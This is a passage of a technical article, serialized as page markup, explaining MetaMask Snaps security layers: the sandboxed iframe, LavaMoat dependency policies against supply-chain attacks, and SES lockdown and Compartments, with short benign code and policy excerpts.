initEnvStream",{"type":25,"tag":216,"props":40329,"children":40330},{"style":6958},[40331],{"type":31,"value":1844},{"type":25,"tag":216,"props":40333,"children":40334},{"style":6941},[40335],{"type":31,"value":40154},{"type":25,"tag":216,"props":40337,"children":40338},{"style":6958},[40339],{"type":31,"value":19282},{"type":25,"tag":216,"props":40341,"children":40342},{"style":6941},[40343],{"type":31,"value":33621},{"type":25,"tag":216,"props":40345,"children":40346},{"style":6958},[40347],{"type":31,"value":40348},"): ",{"type":25,"tag":216,"props":40350,"children":40351},{"style":7369},[40352],{"type":31,"value":40353},"Promise",{"type":25,"tag":216,"props":40355,"children":40356},{"style":6958},[40357],{"type":31,"value":40358},"\u003C{\n",{"type":25,"tag":216,"props":40360,"children":40361},{"class":6916,"line":6763},[40362,40367,40371,40376],{"type":25,"tag":216,"props":40363,"children":40364},{"style":6941},[40365],{"type":31,"value":40366},"    worker",{"type":25,"tag":216,"props":40368,"children":40369},{"style":6947},[40370],{"type":31,"value":1466},{"type":25,"tag":216,"props":40372,"children":40373},{"style":7369},[40374],{"type":31,"value":40375}," Window",{"type":25,"tag":216,"props":40377,"children":40378},{"style":6958},[40379],{"type":31,"value":6961},{"type":25,"tag":216,"props":40381,"children":40382},{"class":6916,"line":6772},[40383,40388,40392,40397],{"type":25,"tag":216,"props":40384,"children":40385},{"style":6941},[40386],{"type":31,"value":40387},"    stream",{"type":25,"tag":216,"props":40389,"children":40390},{"style":6947},[40391],{"type":31,"value":1466},{"type":25,"tag":216,"props":40393,"children":40394},{"style":7369},[40395],{"type":31,"value":40396}," BasePostMessageStream",{"type":25,"tag":216,"props":40398,"children":40399},{"style":6958},[40400],{"type":31,"value":6961},{"type":25,"tag":216,"props":40402,"children":40403},{"class":6916,"line":6999},[40404],{"type":25,"tag":216,"props":40405,"children":40406},{"style":6958},[40407],{"type":31,"value":40408},"  }> {\n",{"type":25,"tag":216,"props":40410,"children":40411},{"class":6916,"line":7104},[40412,40417,40422,40426,40430,40435,40439,40443,40447,40452,40456,40461,40465,40469],{"type":25,"tag":216,"props":40413,"children":40414},{"style":6958},[40415],{"type":31,"value":40416},"    const ",{"type":25,"tag":216,"props":40418,"children":40419},{"style":6941},[40420],{"type":31,"value":40421},"iframeWindow",{"type":25,"tag":216,"props":40423,"children":40424},{"style":6947},[40425],{"type":31,"value":6950},{"type":25,"tag":216,"props":40427,"children":40428},{"style":6967},[40429],{"type":31,"value":40168},{"type":25,"tag":216,"props":40431,"children":40432},{"style":7041},[40433],{"type":31,"value":40434}," createWindow",{"type":25,"tag":216,"props":40436,"children":40437},{"style":6958},[40438],{"type":31,"value":1844},{"type":25,"tag":216,"props":40440,"children":40441},{"style":6930},[40442],{"type":31,"value":21645},{"type":25,"tag":216,"props":40444,"children":40445},{"style":6958},[40446],{"type":31,"value":179},{"type":25,"tag":216,"props":40448,"children":40449},{"style":6941},[40450],{"type":31,"value":40451},"iframeUrl",{"type":25,"tag":216,"props":40453,"children":40454},{"style":6958},[40455],{"type":31,"value":179},{"type":25,"tag":216,"props":40457,"children":40458},{"style":7041},[40459],{"type":31,"value":40460},"toString",{"type":25,"tag":216,"props":40462,"children":40463},{"style":6958},[40464],{"type":31,"value":22328},{"type":25,"tag":216,"props":40466,"children":40467},{"style":6941},[40468],{"type":31,"value":40154},{"type":25,"tag":216,"props":40470,"children":40471},{"style":6958},[40472],{"type":31,"value":7791},{"type":25,"tag":216,"props":40474,"children":40475},{"class":6916,"line":7210},[40476],{"type":25,"tag":216,"props":40477,"children":40478},{"emptyLinePlaceholder":16},[40479],{"type":31,"value":7636},{"type":25,"tag":216,"props":40481,"children":40482},{"class":6916,"line":7238},[40483,40487,40491,40495,40499,40504],{"type":25,"tag":216,"props":40484,"children":40485},{"style":6958},[40486],{"type":31,"value":40416},{"type":25,"tag":216,"props":40488,"children":40489},{"style":6941},[40490],{"type":31,"value":40218},{"type":25,"tag":216,"props":40492,"children":40493},{"style":6947},[40494],{"type":31,"value":6950},{"type":25,"tag":216,"props":40496,"children":40497},{"style":6930},[40498],{"type":31,"value":35889},{"type":25,"tag":216,"props":40500,"children":40501},{"style":7041},[40502],{"type":31,"value":40503}," WindowPostMessageStream",{"type":25,"tag":216,"props":40505,"children":40506},{"style":6958},[40507],{"type":31,"value":19092},{"type":25,"tag":216,"props":40509,"children":40510},{"class":6916,"line":7251},[40511,40516,40521],{"type":25,"tag":216,"props":40512,"children":40513},{"style":6941},[40514],{"type":31,"value":40515},"      name:",{"type":25,"tag":216,"props":40517,"children":40518},{"style":8199},[40519],{"type":31,"value":40520}," 'parent'",{"type":25,"tag":216,"props":40522,"children":40523},{"style":6958},[40524],{"type":31,"value":7459},{"type":25,"tag":216,"props":40526,"children":40527},{"class":6916,"line":7269},[40528,40533,40538],{"type":25,"tag":216,"props":40529,"children":40530},{"style":6941},[40531],{"type":31,"value":40532},"      target:",{"type":25,"tag":216,"props":40534,"children":40535},{"style":8199},[40536],{"type":31,"value":40537}," 'child'",{"type":25,"tag":216,"props":40539,"children":40540},{"style":6958},[40541],{"type":31,"value":7459},{"type":25,"tag":216,"props":40543,"children":40544},{"class":6916,"line":7290},[40545,40550,40555],{"type":25,"tag":216,"props":40546,"children":40547},{"style":6941},[40548],{"type":31,"value":40549},"      targetWindow:",{"type":25,"tag":216,"props":40551,"children":40552},{"style":6941},[40553],{"type":31,"value":40554}," iframeWindow",{"type":25,"tag":216,"props":40556,"children":40557},{"style":6958},[40558],{"type":31,"value":7459},{"type":25,"tag":216,"props":40560,"children":40561},{"class":6916,"line":7299},[40562,40567,40572],{"type":25,"tag":216,"props":40563,"children":40564},{"style":6941},[40565],{"type":31,"value":40566},"      targetOrigin:",{"type":25,"tag":216,"props":40568,"children":40569},{"style":8199},[40570],{"type":31,"value":40571}," '*'",{"type":25,"tag":216,"props":40573,"children":40574},{"style":6958},[40575],{"type":31,"value":7459},{"type":25,"tag":216,"props":40577,"children":40578},{"class":6916,"line":7551},[40579],{"type":25,"tag":216,"props":40580,"children":40581},{"style":6958},[40582],{"type":31,"value":36213},{"type":25,"tag":216,"props":40584,"children":40585},{"class":6916,"line":7568},[40586],{"type":25,"tag":216,"props":40587,"children":40588},{"emptyLinePlaceholder":16},[40589],{"type":31,"value":7636},{"type":25,"tag":216,"props":40591,"children":40592},{"class":6916,"line":7585},[40593,40598,40602,40606,40610],{"type":25,"tag":216,"props":40594,"children":40595},{"style":6958},[40596],{"type":31,"value":40597},"    return { worker: ",{"type":25,"tag":216,"props":40599,"children":40600},{"style":6941},[40601],{"type":31,"value":40421},{"type":25,"tag":216,"props":40603,"children":40604},{"style":6958},[40605],{"type":31,"value":7020},{"type":25,"tag":216,"props":40607,"children":40608},{"style":6941},[40609],{"type":31,"value":40218},{"type":25,"tag":216,"props":40611,"children":40612},{"style":6958},[40613],{"type":31,"value":22252},{"type":25,"tag":216,"props":40615,"children":40616},{"class":6916,"line":7598},[40617],{"type":25,"tag":216,"props":40618,"children":40619},{"style":6958},[40620],{"type":31,"value":9817},{"type":25,"tag":38,"props":40622,"children":40623},{},[40624,40626,40632,40634,40641],{"type":31,"value":40625},"Here the iframe is created via ",{"type":25,"tag":82,"props":40627,"children":40629},{"className":40628},[],[40630],{"type":31,"value":40631},"createWindow",{"type":31,"value":40633},", which is defined in snaps-utils ",{"type":25,"tag":162,"props":40635,"children":40638},{"href":40636,"rel":40637},"https://github.com/MetaMask/snaps/blob/92fcf31678c13067615e6e69681e57a542a2c58a/packages/snaps-utils/src/iframe.ts#L17",[166],[40639],{"type":31,"value":40640},"package",{"type":31,"value":1466},{"type":25,"tag":206,"props":40643,"children":40645},{"className":39887,"code":40644,"language":39889,"meta":7,"style":7},"const iframe = document.createElement('iframe');\n    iframe.setAttribute('id', id);\n    iframe.setAttribute('data-testid', 'snaps-iframe');\n\n    if (sandbox) {\n      iframe.setAttribute('sandbox', 'allow-scripts');\n    }\n    iframe.setAttribute('src', uri);\n    document.body.appendChild(iframe);\n",[40646],{"type":25,"tag":82,"props":40647,"children":40648},{"__ignoreMap":7},[40649,40692,40730,40767,40774,40794,40832,40839,40876],{"type":25,"tag":216,"props":40650,"children":40651},{"class":6916,"line":6917},[40652,40656,40661,40665,40670,40674,40679,40683,40688],{"type":25,"tag":216,"props":40653,"children":40654},{"style":6930},[40655],{"type":31,"value":13605},{"type":25,"tag":216,"props":40657,"children":40658},{"style":6941},[40659],{"type":31,"value":40660}," iframe",{"type":25,"tag":216,"props":40662,"children":40663},{"style":6947},[40664],{"type":31,"value":6950},{"type":25,"tag":216,"props":40666,"children":40667},{"style":6941},[40668],{"type":31,"value":40669}," document",{"type":25,"tag":216,"props":40671,"children":40672},{"style":6958},[40673],{"type":31,"value":179},{"type":25,"tag":216,"props":40675,"children":40676},{"style":7041},[40677],{"type":31,"value":40678},"createElement",{"type":25,"tag":216,"props":40680,"children":40681},{"style":6958},[40682],{"type":31,"value":1844},{"type":25,"tag":216,"props":40684,"children":40685},{"style":8199},[40686],{"type":31,"value":40687},"'iframe'",{"type":25,"tag":216,"props":40689,"children":40690},{"style":6958},[40691],{"type":31,"value":7791},{"type":25,"tag":216,"props":40693,"children":40694},{"class":6916,"line":6763},[40695,40700,40704,40709,40713,40718,40722,40726],{"type":25,"tag":216,"props":40696,"children":40697},{"style":6941},[40698],{"type":31,"value":40699},"    iframe",{"type":25,"tag":216,"props":40701,"children":40702},{"style":6958},[40703],{"type":31,"value":179},{"type":25,"tag":216,"props":40705,"children":40706},{"style":7041},[40707],{"type":31,"value":40708},"setAttribute",{"type":25,"tag":216,"props":40710,"children":40711},{"style":6958},[40712],{"type":31,"value":1844},{"type":25,"tag":216,"props":40714,"children":40715},{"style":8199},[40716],{"type":31,"value":40717},"'id'",{"type":25,"tag":216,"props":40719,"children":40720},{"style":6958},[40721],{"type":31,"value":7020},{"type":25,"tag":216,"props":40723,"children":40724},{"style":6941},[40725],{"type":31,"value":7437},{"type":25,"tag":216,"props":40727,"children":40728},{"style":6958},[40729],{"type":31,"value":7791},{"type":25,"tag":216,"props":40731,"children":40732},{"class":6916,"line":6772},[40733,40737,40741,40745,40749,40754,40758,40763],{"type":25,"tag":216,"props":40734,"children":40735},{"style":6941},[40736],{"type":31,"value":40699},{"type":25,"tag":216,"props":40738,"children":40739},{"style":6958},[40740],{"type":31,"value":179},{"type":25,"tag":216,"props":40742,"children":40743},{"style":7041},[40744],{"type":31,"value":40708},{"type":25,"tag":216,"props":40746,"children":40747},{"style":6958},[40748],{"type":31,"value":1844},{"type":25,"tag":216,"props":40750,"children":40751},{"style":8199},[40752],{"type":31,"value":40753},"'data-testid'",{"type":25,"tag":216,"props":40755,"children":40756},{"style":6958},[40757],{"type":31,"value":7020},{"type":25,"tag":216,"props":40759,"children":40760},{"style":8199},[40761],{"type":31,"value":40762},"'snaps-iframe'",{"type":25,"tag":216,"props":40764,"children":40765},{"style":6958},[40766],{"type":31,"value":7791},{"type":25,"tag":216,"props":40768,"children":40769},{"class":6916,"line":6999},[40770],{"type":25,"tag":216,"props":40771,"children":40772},{"emptyLinePlaceholder":16},[40773],{"type":31,"value":7636},{"type":25,"tag":216,"props":40775,"children":40776},{"class":6916,"line":7104},[40777,40781,40785,40790],{"type":25,"tag":216,"props":40778,"children":40779},{"style":6967},[40780],{"type":31,"value":16229},{"type":25,"tag":216,"props":40782,"children":40783},{"style":6958},[40784],{"type":31,"value":7010},{"type":25,"tag":216,"props":40786,"children":40787},{"style":6941},[40788],{"type":31,"value":40789},"sandbox",{"type":25,"tag":216,"props":40791,"children":40792},{"style":6958},[40793],{"type":31,"value":18755},{"type":25,"tag":216,"props":40795,"children":40796},{"class":6916,"line":7210},[40797,40802,40806,40810,40814,40819,40823,40828],{"type":25,"tag":216,"props":40798,"children":40799},{"style":6941},[40800],{"type":31,"value":40801},"      iframe",{"type":25,"tag":216,"props":40803,"children":40804},{"style":6958},[40805],{"type":31,"value":179},{"type":25,"tag":216,"props":40807,"children":40808},{"style":7041},[40809],{"type":31,"value":40708},{"type":25,"tag":216,"props":40811,"children":40812},{"style":6958},[40813],{"type":31,"value":1844},{"type":25,"tag":216,"props":40815,"children":40816},{"style":8199},[40817],{"type":31,"value":40818},"'sandbox'",{"type":25,"tag":216,"props":40820,"children":40821},{"style":6958},[40822],{"type":31,"value":7020},{"type":25,"tag":216,"props":40824,"children":40825},{"style":8199},[40826],{"type":31,"value":40827},"'allow-scripts'",{"type":25,"tag":216,"props":40829,"children":40830},{"style":6958},[40831],{"type":31,"value":7791},{"type":25,"tag":216,"props":40833,"children":40834},{"class":6916,"line":7238},[40835],{"type":25,"tag":216,"props":40836,"children":40837},{"style":6958},[40838],{"type":31,"value":7305},{"type":25,"tag":216,"props":40840,"children":40841},{"class":6916,"line":7251},[40842,40846,40850,40854,40858,40863,40867,40872],{"type":25,"tag":216,"props":40843,"children":40844},{"style":6941},[40845],{"type":31,"value":40699},{"type":25,"tag":216,"props":40847,"children":40848},{"style":6958},[40849],{"type":31,"value":179},{"type":25,"tag":216,"props":40851,"children":40852},{"style":7041},[40853],{"type":31,"value":40708},{"type":25,"tag":216,"props":40855,"children":40856},{"style":6958},[40857],{"type":31,"value":1844},{"type":25,"tag":216,"props":40859,"children":40860},{"style":8199},[40861],{"type":31,"value":40862},"'src'",{"type":25,"tag":216,"props":40864,"children":40865},{"style":6958},[40866],{"type":31,"value":7020},{"type":25,"tag":216,"props":40868,"children":40869},{"style":6941},[40870],{"type":31,"value":40871},"uri",{"type":25,"tag":216,"props":40873,"children":40874},{"style":6958},[40875],{"type":31,"value":7791},{"type":25,"tag":216,"props":40877,"children":40878},{"class":6916,"line":7269},[40879,40883,40887,40891,40895,40900,40904,40909],{"type":25,"tag":216,"props":40880,"children":40881},{"style":6941},[40882],{"type":31,"value":38630},{"type":25,"tag":216,"props":40884,"children":40885},{"style":6958},[40886],{"type":31,"value":179},{"type":25,"tag":216,"props":40888,"children":40889},{"style":6941},[40890],{"type":31,"value":36356},{"type":25,"tag":216,"props":40892,"children":40893},{"style":6958},[40894],{"type":31,"value":179},{"type":25,"tag":216,"props":40896,"children":40897},{"style":7041},[40898],{"type":31,"value":40899},"appendChild",{"type":25,"tag":216,"props":40901,"children":40902},{"style":6958},[40903],{"type":31,"value":1844},{"type":25,"tag":216,"props":40905,"children":40906},{"style":6941},[40907],{"type":31,"value":40908},"iframe",{"type":25,"tag":216,"props":40910,"children":40911},{"style":6958},[40912],{"type":31,"value":7791},{"type":25,"tag":38,"props":40914,"children":40915},{},[40916],{"type":31,"value":40917},"This enables the iframe to be created with sandbox attributes, ensuring secure execution.",{"type":25,"tag":607,"props":40919,"children":40921},{"id":40920},"lavamoat-against-supply-chain-attacks-layer-2",[40922],{"type":31,"value":40923},"LavaMoat against Supply Chain Attacks - Layer 2",{"type":25,"tag":38,"props":40925,"children":40926},{},[40927],{"type":31,"value":40928},"Instances of software supply chain breaches occur when a malicious component infiltrates a developer's application. Subsequently, attackers exploit the component to extract critical information, such as private access keys. To safeguard against these issues, Metamask employs a tool called LavaMoat.",{"type":25,"tag":38,"props":40930,"children":40931},{},[40932,40934,40940],{"type":31,"value":40933},"Malicious dependencies might utilize built-in modules like ",{"type":25,"tag":82,"props":40935,"children":40937},{"className":40936},[],[40938],{"type":31,"value":40939},"fs",{"type":31,"value":40941},". Alternatively, they may inject malicious code into the npm package to target global objects, like the window and document. They might also include code that leverages XMLHttpRequest to make unauthorized requests to external servers, enabling the exfiltration of sensitive user information.",{"type":25,"tag":38,"props":40943,"children":40944},{},[40945],{"type":31,"value":40946},"In order to prevent this, Metamask Snaps use a Policy file provided by LavaMoat, that grants the platform API and the Globals access just to the essentials components. This limits the access to fields of powerful objects to corrupted dependencies.",{"type":25,"tag":38,"props":40948,"children":40949},{},[40950,40952,40959],{"type":31,"value":40951},"This is how a Policy file related to the iframes ",{"type":25,"tag":162,"props":40953,"children":40956},{"href":40954,"rel":40955},"https://github.com/MetaMask/snaps/blob/c5ddd897734f900f459c66a91f3334e76903825c/packages/snaps-execution-environments/lavamoat/browserify/iframe/policy.json#L49",[166],[40957],{"type":31,"value":40958},"looks",{"type":31,"value":1466},{"type":25,"tag":206,"props":40961,"children":40963},{"className":37952,"code":40962,"language":37954,"meta":7,"style":7},"\"@metamask/post-message-stream\": {\n      \"globals\": {\n        \"MessageEvent.prototype\": true,\n        \"WorkerGlobalScope\": true,\n        \"addEventListener\": true,\n        \"browser\": true,\n        \"chrome\": true,\n        \"location.origin\": true,\n        \"postMessage\": true,\n        \"removeEventListener\": true\n      },\n      \"packages\": {\n        \"@metamask/post-message-stream>@metamask/utils\": true,\n        \"@metamask/post-message-stream>readable-stream\": true\n      }\n    }\n",[40964],{"type":25,"tag":82,"props":40965,"children":40966},{"__ignoreMap":7},[40967,40980,40992,41012,41032,41052,41072,41092,41112,41132,41149,41157,41169,41189,41205,41212],{"type":25,"tag":216,"props":40968,"children":40969},{"class":6916,"line":6917},[40970,40975],{"type":25,"tag":216,"props":40971,"children":40972},{"style":8199},[40973],{"type":31,"value":40974},"\"@metamask/post-message-stream\"",{"type":25,"tag":216,"props":40976,"children":40977},{"style":6958},[40978],{"type":31,"value":40979},": {\n",{"type":25,"tag":216,"props":40981,"children":40982},{"class":6916,"line":6763},[40983,40988],{"type":25,"tag":216,"props":40984,"children":40985},{"style":6941},[40986],{"type":31,"value":40987},"      \"globals\"",{"type":25,"tag":216,"props":40989,"children":40990},{"style":6958},[40991],{"type":31,"value":40979},{"type":25,"tag":216,"props":40993,"children":40994},{"class":6916,"line":6772},[40995,41000,41004,41008],{"type":25,"tag":216,"props":40996,"children":40997},{"style":6941},[40998],{"type":31,"value":40999},"        \"MessageEvent.prototype\"",{"type":25,"tag":216,"props":41001,"children":41002},{"style":6958},[41003],{"type":31,"value":19282},{"type":25,"tag":216,"props":41005,"children":41006},{"style":6930},[41007],{"type":31,"value":230},{"type":25,"tag":216,"props":41009,"children":41010},{"style":6958},[41011],{"type":31,"value":7459},{"type":25,"tag":216,"props":41013,"children":41014},{"class":6916,"line":6999},[41015,41020,41024,41028],{"type":25,"tag":216,"props":41016,"children":41017},{"style":6941},[41018],{"type":31,"value":41019},"        \"WorkerGlobalScope\"",{"type":25,"tag":216,"props":41021,"children":41022},{"style":6958},[41023],{"type":31,"value":19282},{"type":25,"tag":216,"props":41025,"children":41026},{"style":6930},[41027],{"type":31,"value":230},{"type":25,"tag":216,"props":41029,"children":41030},{"style":6958},[41031],{"type":31,"value":7459},{"type":25,"tag":216,"props":41033,"children":41034},{"class":6916,"line":7104},[41035,41040,41044,41048],{"type":25,"tag":216,"props":41036,"children":41037},{"style":6941},[41038],{"type":31,"value":41039},"        \"addEventListener\"",{"type":25,"tag":216,"props":41041,"children":41042},{"style":6958},[41043],{"type":31,"value":19282},{"type":25,"tag":216,"props":41045,"children":41046},{"style":6930},[41047],{"type":31,"value":230},{"type":25,"tag":216,"props":41049,"children":41050},{"style":6958},[41051],{"type":31,"value":7459},{"type":25,"tag":216,"props":41053,"children":41054},{"class":6916,"line":7210},[41055,41060,41064,41068],{"type":25,"tag":216,"props":41056,"children":41057},{"style":6941},[41058],{"type":31,"value":41059},"        \"browser\"",{"type":25,"tag":216,"props":41061,"children":41062},{"style":6958},[41063],{"type":31,"value":19282},{"type":25,"tag":216,"props":41065,"children":41066},{"style":6930},[41067],{"type":31,"value":230},{"type":25,"tag":216,"props":41069,"children":41070},{"style":6958},[41071],{"type":31,"value":7459},{"type":25,"tag":216,"props":41073,"children":41074},{"class":6916,"line":7238},[41075,41080,41084,41088],{"type":25,"tag":216,"props":41076,"children":41077},{"style":6941},[41078],{"type":31,"value":41079},"        \"chrome\"",{"type":25,"tag":216,"props":41081,"children":41082},{"style":6958},[41083],{"type":31,"value":19282},{"type":25,"tag":216,"props":41085,"children":41086},{"style":6930},[41087],{"type":31,"value":230},{"type":25,"tag":216,"props":41089,"children":41090},{"style":6958},[41091],{"type":31,"value":7459},{"type":25,"tag":216,"props":41093,"children":41094},{"class":6916,"line":7251},[41095,41100,41104,41108],{"type":25,"tag":216,"props":41096,"children":41097},{"style":6941},[41098],{"type":31,"value":41099},"        \"location.origin\"",{"type":25,"tag":216,"props":41101,"children":41102},{"style":6958},[41103],{"type":31,"value":19282},{"type":25,"tag":216,"props":41105,"children":41106},{"style":6930},[41107],{"type":31,"value":230},{"type":25,"tag":216,"props":41109,"children":41110},{"style":6958},[41111],{"type":31,"value":7459},{"type":25,"tag":216,"props":41113,"children":41114},{"class":6916,"line":7269},[41115,41120,41124,41128],{"type":25,"tag":216,"props":41116,"children":41117},{"style":6941},[41118],{"type":31,"value":41119},"        \"postMessage\"",{"type":25,"tag":216,"props":41121,"children":41122},{"style":6958},[41123],{"type":31,"value":19282},{"type":25,"tag":216,"props":41125,"children":41126},{"style":6930},[41127],{"type":31,"value":230},{"type":25,"tag":216,"props":41129,"children":41130},{"style":6958},[41131],{"type":31,"value":7459},{"type":25,"tag":216,"props":41133,"children":41134},{"class":6916,"line":7290},[41135,41140,41144],{"type":25,"tag":216,"props":41136,"children":41137},{"style":6941},[41138],{"type":31,"value":41139},"        \"removeEventListener\"",{"type":25,"tag":216,"props":41141,"children":41142},{"style":6958},[41143],{"type":31,"value":19282},{"type":25,"tag":216,"props":41145,"children":41146},{"style":6930},[41147],{"type":31,"value":41148},"true\n",{"type":25,"tag":216,"props":41150,"children":41151},{"class":6916,"line":7299},[41152],{"type":25,"tag":216,"props":41153,"children":41154},{"style":6958},[41155],{"type":31,"value":41156},"      },\n",{"type":25,"tag":216,"props":41158,"children":41159},{"class":6916,"line":7551},[41160,41165],{"type":25,"tag":216,"props":41161,"children":41162},{"style":6941},[41163],{"type":31,"value":41164},"      \"packages\"",{"type":25,"tag":216,"props":41166,"children":41167},{"style":6958},[41168],{"type":31,"value":40979},{"type":25,"tag":216,"props":41170,"children":41171},{"class":6916,"line":7568},[41172,41177,41181,41185],{"type":25,"tag":216,"props":41173,"children":41174},{"style":6941},[41175],{"type":31,"value":41176},"        \"@metamask/post-message-stream>@metamask/utils\"",{"type":25,"tag":216,"props":41178,"children":41179},{"style":6958},[41180],{"type":31,"value":19282},{"type":25,"tag":216,"props":41182,"children":41183},{"style":6930},[41184],{"type":31,"value":230},{"type":25,"tag":216,"props":41186,"children":41187},{"style":6958},[41188],{"type":31,"value":7459},{"type":25,"tag":216,"props":41190,"children":41191},{"class":6916,"line":7585},[41192,41197,41201],{"type":25,"tag":216,"props":41193,"children":41194},{"style":6941},[41195],{"type":31,"value":41196},"        \"@metamask/post-message-stream>readable-stream\"",{"type":25,"tag":216,"props":41198,"children":41199},{"style":6958},[41200],{"type":31,"value":19282},{"type":25,"tag":216,"props":41202,"children":41203},{"style":6930},[41204],{"type":31,"value":41148},{"type":25,"tag":216,"props":41206,"children":41207},{"class":6916,"line":7598},[41208],{"type":25,"tag":216,"props":41209,"children":41210},{"style":6958},[41211],{"type":31,"value":16614},{"type":25,"tag":216,"props":41213,"children":41214},{"class":6916,"line":7607},[41215],{"type":25,"tag":216,"props":41216,"children":41217},{"style":6958},[41218],{"type":31,"value":7305},{"type":25,"tag":38,"props":41220,"children":41221},{},[41222,41224,41230,41232,41238,41240,41246,41248,41254,41255,41261],{"type":31,"value":41223},"One crucial aspect of the policy, apart from the ",{"type":25,"tag":82,"props":41225,"children":41227},{"className":41226},[],[41228],{"type":31,"value":41229},"globals",{"type":31,"value":41231}," section, is the ",{"type":25,"tag":82,"props":41233,"children":41235},{"className":41234},[],[41236],{"type":31,"value":41237},"packages",{"type":31,"value":41239}," segment. This section permits the ",{"type":25,"tag":82,"props":41241,"children":41243},{"className":41242},[],[41244],{"type":31,"value":41245},"@metamask/post-message-stream",{"type":31,"value":41247},"package to exclusively interact with the package ",{"type":25,"tag":82,"props":41249,"children":41251},{"className":41250},[],[41252],{"type":31,"value":41253},"@metamask/utils",{"type":31,"value":1301},{"type":25,"tag":82,"props":41256,"children":41258},{"className":41257},[],[41259],{"type":31,"value":41260},"readable-stream",{"type":31,"value":41262},". It ensures that interactions with potentially compromised packages are disallowed.",{"type":25,"tag":38,"props":41264,"children":41265},{},[41266,41268,41274],{"type":31,"value":41267},"LavaMoat additionally provides protection against prototype pollution attacks, since a malicious extension could use it to tamper with a legitimate function with arbitrary code. To safeguard against this, LavaMoat uses SES ",{"type":25,"tag":82,"props":41269,"children":41271},{"className":41270},[],[41272],{"type":31,"value":41273},"lockdown",{"type":31,"value":41275}," function to freeze all javascript builtins prototypes.",{"type":25,"tag":607,"props":41277,"children":41279},{"id":41278},"secure-ecmascript-ses-sandbox-layer-3",[41280],{"type":31,"value":41281},"Secure EcmaScript (SES) sandbox - Layer 3",{"type":25,"tag":38,"props":41283,"children":41284},{},[41285,41287,41294],{"type":31,"value":41286},"Within the iframe and after the lavamoat execution, the metamask sandbox uses the ",{"type":25,"tag":162,"props":41288,"children":41291},{"href":41289,"rel":41290},"https://github.com/endojs/endo/tree/master/packages/ses",[166],[41292],{"type":31,"value":41293},"Secure EcmaScript (SES)",{"type":31,"value":41295}," as a way to setup limits to the snap. Let's dig into how it works:",{"type":25,"tag":631,"props":41297,"children":41299},{"id":41298},"ses-fundamentals",[41300],{"type":31,"value":41301},"SES Fundamentals",{"type":25,"tag":41303,"props":41304,"children":41305},"h5",{"id":41273},[41306],{"type":31,"value":41307},"Lockdown",{"type":25,"tag":38,"props":41309,"children":41310},{},[41311,41313,41319],{"type":31,"value":41312},"As the first step of setting up the SES sandbox, Metamask executes the ",{"type":25,"tag":82,"props":41314,"children":41316},{"className":41315},[],[41317],{"type":31,"value":41318},"lockdown()",{"type":31,"value":41320}," function, which protects javascript objects against some attacks, mainly:",{"type":25,"tag":6705,"props":41322,"children":41323},{},[41324,41337],{"type":25,"tag":2037,"props":41325,"children":41326},{},[41327,41329,41335],{"type":31,"value":41328},"Prototype Pollution\nLockdown executes ",{"type":25,"tag":82,"props":41330,"children":41332},{"className":41331},[],[41333],{"type":31,"value":41334},"Object.freeze",{"type":31,"value":41336}," against all javascript builtins prototypes, preventing these attacks.",{"type":25,"tag":2037,"props":41338,"children":41339},{},[41340,41342,41348,41350,41356],{"type":31,"value":41341},"Information disclosure\nLockdown removes some sensitive information that can be disclosed by some javascript builtin objects, such as the ",{"type":25,"tag":82,"props":41343,"children":41345},{"className":41344},[],[41346],{"type":31,"value":41347},"trace",{"type":31,"value":41349}," attribute in an ",{"type":25,"tag":82,"props":41351,"children":41353},{"className":41352},[],[41354],{"type":31,"value":41355},"Error",{"type":31,"value":41357}," object, which contains the stack trace of the error.",{"type":25,"tag":41303,"props":41359,"children":41361},{"id":41360},"compartment",[41362],{"type":31,"value":41363},"Compartment",{"type":25,"tag":38,"props":41365,"children":41366},{},[41367,41369,41375,41377,41382],{"type":31,"value":41368},"Compartments serve as the fundamental security layer within the snap execution environment. Their primary function is to establish a tightly controlled sandboxed execution environment. This is accomplished by manipulating the ",{"type":25,"tag":82,"props":41370,"children":41372},{"className":41371},[],[41373],{"type":31,"value":41374},"globalThis",{"type":31,"value":41376}," object to exclusively accommodate secure functions. Consequently, any code executed within this controlled ",{"type":25,"tag":82,"props":41378,"children":41380},{"className":41379},[],[41381],{"type":31,"value":41374},{"type":31,"value":41383}," context is incapable of tampering with security.",{"type":25,"tag":206,"props":41385,"children":41387},{"className":39570,"code":41386,"language":39572,"meta":7,"style":7},"const c = new Compartment();\nc.globalThis === globalThis; // false\nc.globalThis.JSON === JSON; // true\n",[41388],{"type":25,"tag":82,"props":41389,"children":41390},{"__ignoreMap":7},[41391,41420,41453],{"type":25,"tag":216,"props":41392,"children":41393},{"class":6916,"line":6917},[41394,41398,41403,41407,41411,41416],{"type":25,"tag":216,"props":41395,"children":41396},{"style":6930},[41397],{"type":31,"value":13605},{"type":25,"tag":216,"props":41399,"children":41400},{"style":6941},[41401],{"type":31,"value":41402}," c",{"type":25,"tag":216,"props":41404,"children":41405},{"style":6947},[41406],{"type":31,"value":6950},{"type":25,"tag":216,"props":41408,"children":41409},{"style":6930},[41410],{"type":31,"value":35889},{"type":25,"tag":216,"props":41412,"children":41413},{"style":7041},[41414],{"type":31,"value":41415}," Compartment",{"type":25,"tag":216,"props":41417,"children":41418},{"style":6958},[41419],{"type":31,"value":7627},{"type":25,"tag":216,"props":41421,"children":41422},{"class":6916,"line":6763},[41423,41427,41431,41435,41439,41444,41448],{"type":25,"tag":216,"props":41424,"children":41425},{"style":6941},[41426],{"type":31,"value":2248},{"type":25,"tag":216,"props":41428,"children":41429},{"style":6958},[41430],{"type":31,"value":179},{"type":25,"tag":216,"props":41432,"children":41433},{"style":6941},[41434],{"type":31,"value":41374},{"type":25,"tag":216,"props":41436,"children":41437},{"style":6947},[41438],{"type":31,"value":35378},{"type":25,"tag":216,"props":41440,"children":41441},{"style":6941},[41442],{"type":31,"value":41443}," globalThis",{"type":25,"tag":216,"props":41445,"children":41446},{"style":6958},[41447],{"type":31,"value":21178},{"type":25,"tag":216,"props":41449,"children":41450},{"style":6921},[41451],{"type":31,"value":41452},"// 